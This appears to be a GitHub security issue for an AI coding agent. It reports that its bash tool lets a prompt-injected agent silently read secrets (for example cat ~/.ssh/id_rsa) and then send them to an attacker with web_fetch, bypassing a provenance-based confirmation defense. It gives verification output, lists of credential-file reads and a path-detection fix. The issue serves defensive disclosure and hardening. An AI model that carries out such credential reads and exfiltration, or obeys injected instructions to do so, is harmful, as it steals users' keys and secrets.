Skip to content

security: bash is an ungated, untainted read primitive — walks around the #309 provenance bump #314

Description

@zjshen14

Follow-up to #309 / PR #313, and a correction to the scope of GHSA-5v6f.

Problem

bash is an ungated, untainted read primitive, so the provenance bump merged in #313 can be walked around entirely on the default configuration.

  • isUntrustedSource() (src/core/executor.ts) covers read, grep, web_fetch, mcp__* — but not bash.
  • cat, head, tail, grep, find are all in SAFE_COMMANDS (src/tools/exec/bash.ts), so they skip confirmation regardless of the path they touch.

Verified against feature/309-provenance-bump before merge:

=== CHAIN: bash `cat` a secret, then exfiltrate ===
bash.requiresConfirmation : false      <- safe-listed, no prompt
isUntrustedSource('bash') : false      <- latch never arms
secret returned to model  : true
latch armed after bash    : false
bumpRequired(web_fetch)   : false
prompts so far            : []         <- zero

=== CONTRAST: same secret via `read` ===
isUntrustedSource('read') : true
latch armed after read    : true
bumpRequired(web_fetch)   : true       <- the defense works here

[bash cat <secret>, web_fetch attacker] in a single batch prompts nothing.

Why the sandbox does not cover it

auto   sandbox: cat /tmp/victim/.ssh/id_rsa -> exit 0, leaked: true
strict sandbox: cat /tmp/victim/.ssh/id_rsa -> exit 1, leaked: false

strict blocks it, but auto is the default and deliberately permits reads outside cwd (it denies writes + network). web_fetch runs in the agent process, not under the sandbox, so the network denial does not apply to it either.

Scope note

This also makes GHSA-5v6f's claim too strong. That advisory states an injected agent "cannot silently read ~/.ssh/id_rsa" — via bash cat it can. The advisory gated the read/grep/glob/ls tools, not bash.

Suggested fix (prototyped, 21 cases verified)

Make the safe-command allowlist path-aware, reusing the existing GHSA-5v6f helpers, and feed the same predicate into isUntrustedSource so bash both gates and taints when it touches an out-of-project or credential path:

import { escapesCwdSync, isCredentialPath } from "../file/paths.js";

function bashTouchesUntrustedPath(cmd: string): boolean {
  const tokens = cmd.split(/[\s;|&<>()"']+/).filter(Boolean);
  for (const raw of tokens) {
    if (!/^(\/|~|\.\.\/)/.test(raw)) continue;
    const p = raw.replace(/^~/, process.env.HOME ?? "~");
    if (escapesCwdSync(p) || isCredentialPath(p)) return true;
  }
  for (const raw of tokens) if (isCredentialPath(raw)) return true;  // bare `.env`
  return false;
}

Wire into:

  • bashTool.requiresConfirmation... || bashTouchesUntrustedPath(cmd)
  • isUntrustedSourceif (toolName === "bash") return bashTouchesUntrustedPath(String(args.command ?? ""))

Verified behaviour:

  • flags: cat ~/.aws/credentials, head -50 ~/.ssh/id_ed25519, grep -r secret ~/.config, cat .env, tail -n5 ../../etc/passwd, find / -name id_rsa, cat /etc/passwd, cat ~/.netrc
  • silent on: ls -la, npm test, cat package.json, grep -r TODO src/, git status, head -20 README.md, find . -name '*.ts', cat ./docs/roadmap.md, npm run build && npm test, wc -l src/*.ts

Tainting only path-touching bash (rather than all bash) matters: a bump that fires on every npm test trains users to reflex-approve and destroys the control's value.

Also

docs/design/prompt-injection-defenses.md currently lists only turn-scoping and in-project injection as residual gaps. It should name bash as an untainted read primitive until this lands, otherwise the doc reads as though the exfiltration channel is closed when the default-configuration path is still open.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancementNew feature or request

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions